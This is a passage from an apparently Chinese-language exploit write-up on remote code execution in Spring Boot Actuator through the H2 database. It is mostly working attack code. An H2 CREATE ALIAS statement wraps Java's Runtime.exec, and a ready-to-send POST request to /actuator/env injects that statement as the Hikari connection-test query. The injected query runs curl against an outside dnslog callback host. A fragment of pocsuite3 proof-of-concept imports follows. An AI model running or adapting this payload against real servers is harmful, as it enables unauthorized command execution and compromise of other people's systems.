CREATE ALIAS GET_SYSTEM_PROPERTY FOR "java.lang.System.getProperty"; CALL GET_SYSTEM_PROPERTY('java.class.path');
仿照这个,创建命令执行的java函数可以如下:
1 2 3 4 5 6
String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) { return s.next(); } throw new IllegalArgumentException(); }
那么RCE所需的SQL语句即:
1 2
CREATE ALIAS EXEC AS "String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}"; CALL EXEC('curl ntxo6i.dnslog.cn');
与1.x类似,在端点/actuator/env通过POST方法进行环境变量的赋值。payload为
1 2 3 4 5
POST /actuator/env HTTP/1.1
content-type: application/json
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl ntxo6i.dnslog.cn');"}
from collections import OrderedDict import time from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE from pocsuite3.api import OptString
评论